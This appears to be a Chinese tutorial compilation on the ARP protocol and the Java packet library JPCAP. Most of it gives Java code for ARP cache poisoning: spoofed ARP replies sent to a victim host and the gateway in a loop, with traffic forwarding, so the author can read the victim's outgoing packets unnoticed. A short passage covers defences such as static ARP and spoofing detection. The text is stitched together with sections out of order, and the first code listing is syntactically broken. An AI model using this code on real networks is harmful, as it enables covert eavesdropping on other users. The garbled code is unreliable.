JPCAP的使用

ARP协议分析:

ARP（Address Resolution Protocol）地址解析协议用于将计算机的网络地址（IP地址32位）转化为物理地址（MAC地址48位） [RFC 826]。ARP协议是属于链路层的协议，在以太网中的数据帧从一个主机到达网内的另一台主机是根据48位的以太网地址（硬件地址）来确定接口的，而不是根据32位的IP地址。内核（如驱动）必须知道目的端的硬件地址才能发送数据。当然，点对点的连接是不需要ARP协议的。ARP协议的数据结构：

typedef struct arphdr
{
 unsigned short arp_hrd;   /* 硬件类型 */
 unsigned short arp_pro;   /* 协议类型 */
 unsigned char arp_hln;   /* 硬件地址长度 */
 unsigned char arp_pln;  /* 协议地址长度 */
 unsigned short arp_op;   /* ARP操作类型 */

 unsigned char arp_sha[6];  /* 发送者的硬件地址 */
 unsigned long arp_spa;  /* 发送者的协议地址 */
 unsigned char arp_tha[6];  /* 目标的硬件地址 */
 unsigned long arp_tpa;  /* 目标的协议地址 */
}ARPHDR, *PARPHDR;

为了解释ARP协议的作用，就必须理解数据在网络上的传输过程。这里举一个简单的PING例子。

假设我们的计算机IP地址是192.168.1.1，要执行这个命令：ping 192.168.1.2 。该命令会通过ICMP协议发送ICMP数据包。该过程需要经过下面的步骤：

1、应用程序构造数据包，该示例是产生ICMP包，被提交给内核（网络驱动程序）；

2、内核检查是否能够转化该IP地址为MAC地址，也就是在本地的ARP缓存中查看IP-MAC对应表；

3、如果存在该IP-MAC对应关系，那么跳到步骤9；如果不存在该IP-MAC对应关系，那么接续下面的步骤；

4、内核进行ARP广播，目的地的MAC地址是FF-FF-FF-FF-FF-FF，ARP命令类型为REQUEST（1），其中包含有自己的MAC地址；

5、当192.168.1.2主机接收到该ARP请求后，就发送一个ARP的REPLY（2）命令，其中包含自己的MAC地址；

6、本地获得192.168.1.2主机的IP-MAC地址对应关系，并保存到ARP缓存中；

7、内核将把IP转化为MAC地址，然后封装在以太网头结构中，再把数据发送出去；

使用arp -a 命令就可以查看本地的ARP缓存内容，所以，执行一个本地的PING命令后，ARP缓存就会存在一个目的IP的记录了。当然，如果你的数据包是发送到不同网段的目的地，那么就一定存在一条网关的IP-MAC地址对应的记录。

知道了ARP协议的作用，就能够很清楚地知道，数据包的向外传输很依靠ARP协议，当然，也就是依赖ARP缓存。要知道，ARP协议的所有操作都是内核自动完成的，同其他的应用程序没有任何关系。同时需要注意的是，ARP协议只使用于本网络。

ARP协议的利用和相关原理介绍。

一、交换网络的嗅探

ARP协议并不只在发送了ARP请求才接收ARP应答。当计算机接收到ARP应答数据包的时候，就会对本地的ARP缓存进行更新，将应答中的IP和MAC地址存储在ARP缓存中。因此，在上面的假设网络中，B向A发送一个自己伪造的ARP应答，而这个应答中的数据为发送方IP地址是192.168.10.3（C的IP地址），MAC地址是DD-DD-DD-DD-DD-DD（C的MAC地址本来应该是CC-CC-CC-CC-CC-CC，这里被伪造了）。当A接收到B伪造的ARP应答，就会更新本地的ARP缓存，将本地的IP-MAC对应表更换为接收到的数据格式，由于这一切都是A的系统内核自动完成的，A可不知道被伪造了。

ARP欺骗的主要用途就是进行在交换网络中的嗅探。有关交换网络的嗅探不是本文的讨论内容。

二、IP地址冲突

我们知道，如果网络中存在相同IP地址的主机的时候，就会报告出IP地址冲突的警告。这是怎么产生的呢？

比如某主机B规定IP地址为192.168.0.1，如果它处于开机状态，那么其他机器A更

改IP地址为192.168.0.1就会造成IP地址冲突。其原理就是：主机A在连接网络（或更改IP地址）的时候就会向网络发送ARP包广播自己的IP地址，也就是free arp。如果网络中存在相同IP地址的主机B，那么B就会通过ARP来reply该地址，当A接收到这个reply后，A就会跳出IP地址冲突的警告，当然B也会有警告。

因此用ARP欺骗可以来伪造这个ARP reply，从而使目标一直遭受IP地址冲突警告的困扰。

三、阻止目标的数据包通过网关

比如在一个局域网内通过网关上网，那么连接外部的计算机上的ARP缓存中就存在网关IP-MAC对应记录。如果，该记录被更改，那么该计算机向外发送的数据包总是发送到了错误的网关硬件地址上，这样，该计算机就不能够上网了。

这里也主要是通过ARP欺骗进行的。有两种办法达到这样的目的。

1、向目标发送伪造的ARP应答数据包，其中发送方的IP地址为网关的地址，而MAC地址则为一个伪造的地址。当目标接收到该ARP包，那么就更新自身的ARP缓存。如果该欺骗一直持续下去，那么目标的网关缓存一直是一个被伪造的错误记录。当然，如果有些了解的人查看ARP -a，就知道问题所在了。

2、这种方法非常狠，欺骗网关。向网关发送伪造的ARP应答数据包，其中发送方的IP地址为目标的IP地址，而MAC地址则为一个伪造的地址。这样，网关上的目标ARP记录就是一个错误的，网关发送给目标的数据报都是使用了错误的MAC地址。这种情况下，目标能够发送数据到网关，却不能接收到网关的任何数据。同时，目标自己查看ARP -a却看不出任何问题来。

四、通过ARP检测混杂模式节点

在混杂模式中，网卡进行包过滤不同于普通模式。本来在普通模式下，只有本地地址的数据包或者广播（多播等）才会被网卡提交给系统核心，否则的话，这些数据包就直接被网卡抛弃。现在，混合模式让所有经过的数据包都传递给系统核心，然后被sniffer等程序利用。

通过特殊设计的ARP请求可以用来在一定程度上检测处于混杂模式的节点，比如对网络中的每个节点都发送MAC地址为FF-FF-FF-FF-FF-FE的ARP请求。对于网卡来说这不是一个广播地址（FF-FF-FF-FF-FF-FF），所以处于普通模式的节点就会直接抛弃该数据包，但是多数操作系统核心都认为这是一个广播地址，如果有一般的sniffer程序存在，并设置网卡为混杂模式，那么系统核心就会作出应答，这样就可以判断这些节点是否存在嗅探器了。

可以查看，很多基于ARP的攻击都是通过ARP欺骗实现的。至于ARP欺骗的防范，还是尽可能使用静态的ARP。对于WIN，使用 arp -s 来进行静态ARP的设置。当然，如果能够完全使用静态的IP+MAC对应，就更好了，因为静态的ARP缓存只是相对的。

当然，可以有一些方法来实现ARP欺骗的检测。设置一个ARP的嗅探器，其中维护着一个本地网络的IP-MAC地址的静态对应表，查看所有经过的ARP数据，并检查其中的IP-MAC对应关系，如果捕获的IP-MAC对应关系和维护的静态对应关系对应不上，那么就表明是一个欺骗的ARP数据包了。

一个ARP数据包发送程序源代码和编译好的EXE程序可以参考ARPSender程序。注意：需要先安装WinPcap。

Java中的数据链路层控制：

众所周知，JAVA语言虽然在TCP/UDP传输方面给予了良好的定义，但对于网络层以下的控制，却是无能为力的。JPCAP扩展包弥补了这一点。

JPCAP实际上并非一个真正去实现对数据链路层的控制，而是一个中间件，JPCAP调用wincap/libpcap，而给JAVA语言提供一个公共的接口，从而实现了平台无关性。在官方网站上声明，JPCAP支持FreeBSD 3.x, Linux RedHat 6.1, Fedora Core 4, Solaris, and Microsoft Windows 2000/XP等系统。

二．JPCAP机制

JPCAP的整个结构大体上跟wincap/libpcap是很相像的，例如NetworkInterface类对应wincap的typedef struct _ADAPTERADAPTER，getDeviceList()对应pcap_findalldevs()等等。JPCAP有16个类，下面就其中最重要的4个类做说明。

1．NetworkInterface

该类的每一个实例代表一个网络设备，一般就是网卡。这个类只有一些数据成员，除了继承自java.lang.Object的基本方法以外，没有定义其它方法。

三．使用JPCAP实现监听

1．监听原理　

在详细说用JPCAP实现网络监听实现前，先简单介绍下监听的原理。

局域网监听利用的是所谓的“ARP欺骗”技术。在以前曾经一段阶段，局域网的布局是使用总线式（或集线式）结构，要到达监听只需要将网卡设定为混杂模式即可，但现在的局域网络普遍采用的是交换式网络，所以单纯靠混杂模式来达到监听的方法已经不可行了。所以为了达到监听的目的，我们需要“欺骗”路由器、“欺骗”交换机，即“ARP欺骗”技术。

假设本机为A，监听目标为B。

首先，伪造一个ARP REPLY包，数据链路层头及ARP内容部分的源MAC地址填入A的MAC地址，而源IP部分填入网关IP，目的地址填入B的MAC、IP，然后将这个包发送给B，而B接收到这个伪造的ARP REPLY包后，由于源IP为网关IP，于是在它的ARP缓存表里刷新了一项，将（网关IP，网关MAC）刷新成（网关IP，A的MAC）。而B要访问外部的网都需要经过网关，这时候这些要经过网关的包就通通流到A的机器上来了。

接着，再伪造一个ARP REPLY包，数据链路层头及ARP内容部分的源MAC地址填入A的MAC地址，而源IP部分填入B的IP，目的地址填入网关MAC、IP，然后将这个包发给网关，网关接收到这个伪造的ARP REPLY包后，由于源IP为B的IP，于是在它的ARP缓存表里刷新了一项，将（B的IP，B的MAC）刷新成（B的IP，A的MAC）。这时候外部传给B的数据包经过网关时，就通通转发给A。

这样还只是拦截了B的数据包而已，B并不能上网——解决方法是将接收到的包，除了目的地址部分稍做修改，其它原封不动的再转发出去，这样就达到了监听的目的——在B不知不觉中浏览了B所有的对外数据包。

ARP数据包解析

单元：Byte

public class changeARP{
　private NetworkInterface[] devices; //设备列表
　private NetworkInterface device; //要使用的设备
　private JpcapCaptor jpcap; //与设备的连接
　private JpcapSender sender; //用于发送的实例
　private byte[] targetMAC, gateMAC; //B的MAC地址，网关的MAC地址
　private byte[] String targetIp, String gateIp; //B的IP地址，网关的IP地址
　/**
　*初始化设备
　* JpcapCaptor.getDeviceList()得到设备可能会有两个，其中一个必定是“Generic
　*dialup adapter”，这是windows系统的虚拟网卡，并非真正的硬件设备。

　*注意：在这里有一个小小的BUG，如果JpcapCaptor.getDeviceList()之前有类似JFrame jf=new
　*JFame（）这类的语句会影响得到设备个数，只会得到真正的硬件设备，而不会出现虚拟网卡。
　*虚拟网卡只有MAC地址而没有IP地址，而且如果出现虚拟网卡，那么实际网卡的MAC将分
　*配给虚拟网卡，也就是说在程序中调用device. mac_address时得到的是00 00 00 00 00 00。

　*/

　private NetworkInterface getDevice() throws IOException {
devices = JpcapCaptor.getDeviceList(); //获得设备列表
device = devices[0];//只有一个设备
jpcap = JpcapCaptor.openDevice(device, 2000, false, 10000); //打开与设备的连接
jpcap.setFilter(“ip”,true); //只监听B的IP数据包
sender = captor.getJpcapSenderInstance();
　}
　/**
　*修改B和网关的ARP表。因为网关会定时发数据包刷新自己和B的缓存表，所以必须每隔一
　*段时间就发一次包重新更改B和网关的ARP表。
　*@参数 targetMAC B的MAC地址，可通过ARP解析得到；
　*@参数 targetIp B的IP地址；
　*@参数 gateMAC 网关的MAC地址；
　*/

　public changeARP(byte[] targetMAC, String targetIp,byte[] gateMAC, String gateIp)
　throws UnknownHostException,InterruptedException {
this. targetMAC = targetMAC;
this. targetIp = targetIp;
this. gateMAC = gateMAC;
this. gateIp = gateIp;
getDevice();
arpTarget = new ARPPacket(); //修改B的ARP表的ARP包
arpTarget.hardtype = ARPPacket.HARDTYPE_ETHER; //选择以太网类型(Ethernet)
arpTarget.prototype = ARPPacket.PROTOTYPE_IP; //选择IP网络协议类型
arpTarget.operation = ARPPacket.ARP_REPLY; //选择REPLY类型
arpTarget.hlen = 6; //MAC地址长度固定6个字节
arpTarget.plen = 4; //IP地址长度固定4个字节
arpTarget.sender_hardaddr = device.mac_address; //A的MAC地址
arpTarget.sender_protoaddr = InetAddress.getByName(gateIp).getAddress(); //网关IP

arpTarget.target_hardaddr = targetMAC; //B的MAC地址
arpTarget.target_protoaddr = InetAddress.getByName(targetIp).getAddress(); //B的IP

EthernetPacket ethToTarget = new EthernetPacket(); //创建一个以太网头
ethToTarget.frametype = EthernetPacket.ETHERTYPE_ARP;//选择以太包类型
ethToTarget.src_mac = device.mac_address; //A的MAC地址
ethToTarget.dst_mac = targetMAC; //B的MAC地址
arpTarget.datalink = ethToTarget; //将以太头添加到ARP包前
arpGate = new ARPPacket(); //修改网关ARP表的包
arpGate.hardtype = ARPPacket.HARDTYPE_ETHER; //跟以上相似，不再重复注析
arpGate.prototype = ARPPacket.PROTOTYPE_IP;
arpGate.operation = ARPPacket.ARP_REPLY;
arpGate.hlen = 6;
arpGate.plen = 4;
arpGate.sender_hardaddr = device.mac_address;
arpGate.sender_protoaddr = InetAddress.getByName(targetIp).getAddress();
arpGate.target_hardaddr = gateMAC;
arpGate.target_protoaddr = InetAddress.getByName(gateIp).getAddress();
EthernetPacket ethToGate = new EthernetPacket();
ethToGate.frametype = EthernetPacket.ETHERTYPE_ARP;
ethToGate.src_mac = device.mac_address;
ethToGate.dst_mac = gateMAC;
arpGate.datalink = ethToGate;
thread=new Thread(new Runnable(){ //创建一个进程控制发包速度
public void run() {
　while (true) {
sender.sendPacket(arpTarget);
sender.sendPacket(arpGate);
Thread.sleep(500);
　}).start();
　recP(); //接收数据包并转发
}
/**
*修改包的以太头，转发数据包
*参数 packet 收到的数据包
*参数 changeMAC 要转发出去的目标
*/
private void send(Packet packet, byte[] changeMAC) {
　EthernetPacket eth;
　if (packet.datalink instanceof EthernetPacket) {
eth = (EthernetPacket) packet.datalink;
for (int i = 0; i < 6; i++) {
　eth.dst_mac[i] = changeMAC[i]; //修改包以太头，改变包的目标
　eth.src_mac[i] = device.mac_address[i]; //源发送者为A
}
sender.sendPacket(packet);
　}
}
/**
*打印接受到的数据包并转发
*/
public void recP(){
　IPPacket ipPacket = null;
　while(true){
ipPacket = （IPPacket）jpcap.getPacket();
System.out.println(ipPacket);
if (ipPacket.src_ip.getHostAddress().equals(targetIp))
　send(packet, gateMAC);
else
　send(packet, targetMAC);
　}
}

注意：这个例子只是为了说明问题，并没有考虑到程序的健壮性，所以并不一定能在任何一台机器任何一个系统上运行。

2．用JPCAP实现监听

就如上面说的，为了实现监听，我们必须做四件事：

A．发送ARP包修改B的ARP缓存表；

B．发送ARP包修改路由ARP缓存表；

C．转发B发过来的数据包；

D．转发路由发过来的数据包；

下面我们给个小小的例子说明怎样实现。

我们假定运行这个程序的机器A只有一个网卡，只接一个网络，所在局域网为Ethernet，并且假定已经通过某种方式获得B和网关的MAC地址（例如ARP解析获得）。我们修改了B和网关的ARP表，并对他们的包进行了转发。

4．Packet

这个是所有其它数据包类的父类。Jpcap所支持的数据包有：
ARPPacket、DatalinkPacket、EthernetPacket、ICMPPacket、IPPacket、TCPPacket、UDPPacket

3．JpcapSender

该类专门用于控制数据包的发送。

2．JpcapCaptor

该类提供了一系列静态方法实现一些基本的功能。该类一个实例代表建立了一个与指定设备的链接，可以通过该类的实例来控制设备，例如设定网卡模式、设定过滤关键字等等。

************************************************************************************************************

先说明一下这个小程序吧。这个程序的目的是在局域网上针对一台主机（假设其IP地址为192.168.10.254）进行ARP欺骗，以便监听到这台主机发送出去的数据包，这个程序并没有监听到外部发往被监听主机的数据（由于我只关心他发出去的数据，所以没有监听其他的数据，不过要监听外部发往这个主机的数据，原理是一样的）。另外，局域网的网关IP地址是：192.168.10.1。为了不让目标主机（就暂命名为主机B吧）发现我们在监听，我们得把实行监听任务的主机（就叫主机A吧，IP地址为：192.168.10.100）的IP路由功能打开，这样，主机B才可以正常上网，如果没有打开主机A的IP路由功能，主机B是上不了网的。

程序写得有点乱，只是测试用。将就一点了：）

import jpcap.packet.*;
import jpcap.JpcapCaptor;
import jpcap.JpcapSender;
import jpcap.NetworkInterface;

import java.net.*;
import java.util.Arrays;
import java.io.*;

public class ModifyARP {

 static NetworkInterface[] devices = JpcapCaptor.getDeviceList();　//得到主机A的网络设备列表
 
 /*
  * 获取局域网内的某个主机的MAC地址，方法：发一个ARP请求，从ARP回复中得到MAC地址
  */
 static byte[] getOtherMAC(String ip) throws IOException{
  　JpcapCaptor jc = JpcapCaptor.openDevice(devices[1],2000,false,3000);
  　JpcapSender sender = jc.getJpcapSenderInstance();
  
  　InetAddress senderIP = InetAddress.getByName("192.168.10.100");//主机A的IP地址
  　InetAddress targetIP = InetAddress.getByName(ip);　  //目标主机的IP地址
　  byte[] broadcast=new byte[]{(byte)255,(byte)255,(byte)255,(byte)255,(byte)255,(byte)255};//广播地址

  　ARPPacket arp=new ARPPacket();　//开始构造一个ARP包
  　arp.hardtype=ARPPacket.HARDTYPE_ETHER;
  　arp.prototype=ARPPacket.PROTOTYPE_IP;
  　arp.operation=ARPPacket.ARP_REQUEST;                      //指明是ARP请求包
 　 arp.hlen=6;
  　arp.plen=4;
 　 arp.sender_hardaddr=devices[0].mac_address;            //ARP包的发送端以太网地址
 　 arp.sender_protoaddr=senderIP.getAddress();              //发送端IP地址
 　 arp.target_hardaddr=broadcast;//目的端以太网地址
  　arp.target_protoaddr=targetIP.getAddress();  //目的端IP地址
  
 　 EthernetPacket ether=new EthernetPacket();                              //构造以太网首部
 　 ether.frametype=EthernetPacket.ETHERTYPE_ARP;               //帧类型
 　 ether.src_mac=devices[0].mac_address;  //以太网源地址
  　ether.dst_mac=broadcast;                                                      //以太网目的地址
  　arp.datalink=ether;
  
　  sender.sendPacket(arp);

 　 while(true){                                                //获取ARP回复包，从中提取出目的主机的MAC地址
   ARPPacket p=(ARPPacket)jc.getPacket();
   if(p==null){
   　 throw new IllegalArgumentException(targetIP+" is not a local address");
   }
   if(Arrays.equals(p.target_protoaddr,senderIP.getAddress())){
    　return p.sender_hardaddr;
   }
 　 }
 }
 
 public static void main(String[] args) throws IOException {

 　 JpcapCaptor captor = JpcapCaptor.openDevice(devices[1],2000,false,3000);
 　 captor.setFilter("arp",true);
 　 JpcapSender sender = captor.getJpcapSenderInstance();
  
 　 ARPPacket arp=new ARPPacket();//构造ARP欺骗用的数据包，实质上就是一个ARP回复包
 　 arp.hardtype = ARPPacket.HARDTYPE_ETHER;
 　 arp.prototype=ARPPacket.PROTOTYPE_IP;
 　 arp.operation=ARPPacket.ARP_REPLY;//指明是ARP回复包
  　arp.hlen=6;
 　 arp.plen=4;

 　 arp.sender_hardaddr=devices[0].mac_address;
  　arp.sender_protoaddr=InetAddress.getByName("192.168.10.1").getAddress();
  　arp.target_hardaddr=getOtherMAC("192.168.10.254");
  　arp.target_protoaddr=InetAddress.getByName("192.168.10.254").getAddress();
  
  
  　EthernetPacket ether=new EthernetPacket();
  　ether.frametype=EthernetPacket.ETHERTYPE_ARP;
  　ether.src_mac=getOtherMAC("192.168.10.1");
  　ether.dst_mac=getOtherMAC("192.168.10.254");
  　arp.datalink=ether;
  
 　 sender.sendPacket(arp);
  
 　}
}

这个程序中的main()方法和getOtherMAC()方法其实大部分都是一样的，只不过main()方法构造的是一个ARP的响应回复包，用于ARP欺骗，而getOtherMAC()方法构造的是一个ARP请求包，用于获得指定主机的MAC地址。只要设置好传入参数，这两个方法完全可以合成一个方法。

不管是构造ARP请求包还是回复包，其实质都是按照ARP协议的结构往ARP包中添加适当的数据，所以在看这个程序前，你应当对ARP协议有了解，而且对ARP协议的结构已经熟悉了。

这个程序只是监听了一台主机的通讯，如果要同时监听某个网段内的所有活动主机的通讯，也许还有其他的东西没有掌握好，继续了。。。

********************************************************************************

昨天做的事说起来比较简单，就是在电脑上配置好JPCAP，并写一个测试用的程序，目的是检查JPCAP是否能正常工作，再有就是看看能不能把局域网里其他电脑上的数据包截取下来。测试程序如下：

import jpcap.*;
import jpcap.packet.*;
import java.io.*;
 
public class JpcapTest implements PacketReceiver{
       public void receivePacket(Packet p){
              System.out.println("***********分析数据包*******************");  
              //System.out.println(p.toString());
              System.out.println("长度:\t"+p.caplen);
              System.out.println("数据头：\t");
              for(int i=0;i<p.header.length;i++){
                     System.out.print(Byte.toString(p.header[i]));      
              }
              System.out.println();
              System.out.println("IP包属性:");
              System.out.println("源IP:\t"+ ((IPPacket)p).src_ip.toString() );
              System.out.println("目标IP：\t"+ ((IPPacket)p).dst_ip.toString() );
              System.out.println("***********分析数据包*******************");  
       }
      
       public static void main(String[] args) throws IOException{
              NetworkInterface[] devices = jpcap.JpcapCaptor.getDeviceList();
              for(int i=0;i<devices.length;i++){
                     System.out.println("DEVICES "+i+":");
                     System.out.println("name:\t"+devices[i].name);
                     System.out.println("description:\t"+devices[i].description);
                     System.out.println("datalink_name:\t"+devices[i].datalink_name);
                            System.out.println("datalink_description:\t"+devices[i].datalink_description);
                     System.out.println("mac_address:\t");
                     for(int j=0;j<devices[i].mac_address.length;j++){
                        System.out.print(Integer.toHexString(devices[i].mac_address[j]&0xff) + ":");
                     }
                     System.out.println();
                     System.out.println("NetworkInterfaceAddress:\t");
                     for(int j=0;j<devices[i].addresses.length;j++){
                            
                       System.out.println("address:\t"+devices[i].addresses[j].address);
                          
                        System.out.println("broadcast:\t"+devices[i].addresses[j].broadcast);
                             
                     System.out.println("destination:\t"+devices[i].addresses[j].destination);
                            System.out.println("subnet:\t"+devices[i].addresses[j].subnet);
                     }
              }
              System.out.println("***********************************");
             
              JpcapCaptor cap = jpcap.JpcapCaptor.openDevice(devices[1],1028,true,10000);
              cap.loopPacket(-1,new JpcapTest());
       }    
}

配置JPCAP是比较简单的工作，所以这个程序也就可以正常工作了。配置方法在JPCAP的官网上有：http://netresearch.ics.uci.edu/kfujii/jpcap/doc/index.html。这段代码只能监听到本机上的数据包